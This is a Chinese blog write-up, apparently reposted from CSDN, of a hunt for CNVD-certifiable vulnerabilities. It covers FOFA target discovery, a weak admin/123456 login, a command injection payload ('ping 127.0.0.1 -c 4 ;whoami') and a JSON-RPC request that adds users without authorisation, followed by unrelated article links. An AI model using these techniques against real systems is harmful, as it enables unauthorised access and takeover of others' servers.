2024-06-05-记一次cnvd渗透
创作时间:
作者:
@小白创作中心
2024-06-05-记一次cnvd渗透
引用
CSDN
1.
https://m.blog.csdn.net/m0_73581247/article/details/139465967
前言:挖src挖郁闷了,闲来无事选择挖一个cnvd来练练手,本次的漏洞都没啥难度,企查查资产过了5000万
说一下cnvd证书的下放标准
对于中危及中危以上通用型漏洞(CVSS2.0基准评分超过4.0分),以及涉及党政机关、重要行业单位、科研院所、重要企事业单位(如:中央国有大型企业、部委直属事业单位等)的高危事件型漏洞(后续对事件型漏洞证明颁发标准将参考中央网信办颁布的关键基础设施相关定义和分类),CNVD将给予原创漏洞证明(即CNVD漏洞证书,电子版),该证明可通过编号在CNVD官方网站进行查询跟踪。时限要求:按周对上一周归档漏洞且满足证书颁发条件的进行批量制作。
事件型:高危 重要机构
通用型:中危及以上(评分4.0) 注册资金5000w以上,黑盒的测试案例10或以上(3复现+7其他案例,其他案例不要求复现),白盒的得有源码以及提供漏洞处代码调试过程,包含截图和原因。
过程:
fofa寻找目标
app=“xx目标系统”
admin ,123456 成功登录管理员用户(弱口令yyds)
RCE
发现这里有一个ping 的功能,我想这里应该会存在rce漏洞
ping 127.0.0.1 -c 4 ;whoami (成功rce)
越权
POST xxxxxxxxx HTTP/1.1
Host: xxxxx
Content-Length: 180
Accept: application/json, text/plain,/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: xxxxxxxxxxxxxxxxxxxx
Referer: xxxxxxxxxxxxxxxx
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{“jsonrpc”:“2.0”,“method”:“call”,“params”:[“635F7A20A38A4072899C14B3535CFBF5”,“admin”,“sessionAddUser”,{“username”:“123456”,“password”:“554e36b4db2bc61b606ca16e756b1f7d”}],“id”:11}
这里将admin,换成任意用户即可添加成功
本文原文来自CSDN博客
热门推荐
木星超级风暴气旋有多恐怖?表面可容纳3个地球,令人惊叹!
福州自驾广州,这份车检清单保平安
福州厦门广州环线自驾游,网红打卡全攻略
福州厦门广州环线自驾游攻略
外丹内丹辟谷积善:道教修行的四种路径
维生素C与皮肤健康:科学解读与实用建议
维生素D和钙补充剂:防癌还是伤身?
一级能效燃气热水器遇冷:高能效难掩使用痛点
单管省心双管快,电热水器加热方式选购指南
某银行投诉处理效率提升30%,智能管理平台成关键
澳大利亚发布紧缺技能签证,最长可留4年并转永居
澳洲注册护士:年薪10万澳币,三种职业途径移民
澳大利亚工程师成“香饽饽”,GET计划助力海外人才就业
公务员高效沟通术:7个场景下的说话公式
竞聘演讲完全指南:8大技巧助力职场人成功晋级
尼古丁成瘾背后的科学秘密
尼古丁如何让你的大脑上瘾?
专家推荐:三种常见食材有效缓解胃胀气
胃胀气不止是胃的事:情绪管理助你摆脱困扰
兔马龙三大生肖的爱情观与桃花运
服用阿托伐他汀期间禁食葡萄柚,这类水果会影响药效代谢
心血管病患者必读:阿托伐他汀用药期间的饮食搭配指南
全国多中心临床研究:阿托伐他汀仿制药与原研药疗效相当
南京玄武湖:晨跑、骑行、船游、摄影、观鸟,总有一款适合你!
玄武湖荷花节摄影技巧大揭秘
邓禄普、锦湖、玛吉斯:新手司机轮胎选购指南
提升演讲效果的六大维度:从准备到互动全解析
入户门对主卧门的最佳解决方法
厦门白城沙滩:日落艺术装置打卡,地铁公交轻松抵达
厦门白城沙滩攻略:地铁直达,赏日落、玩水、美食一站式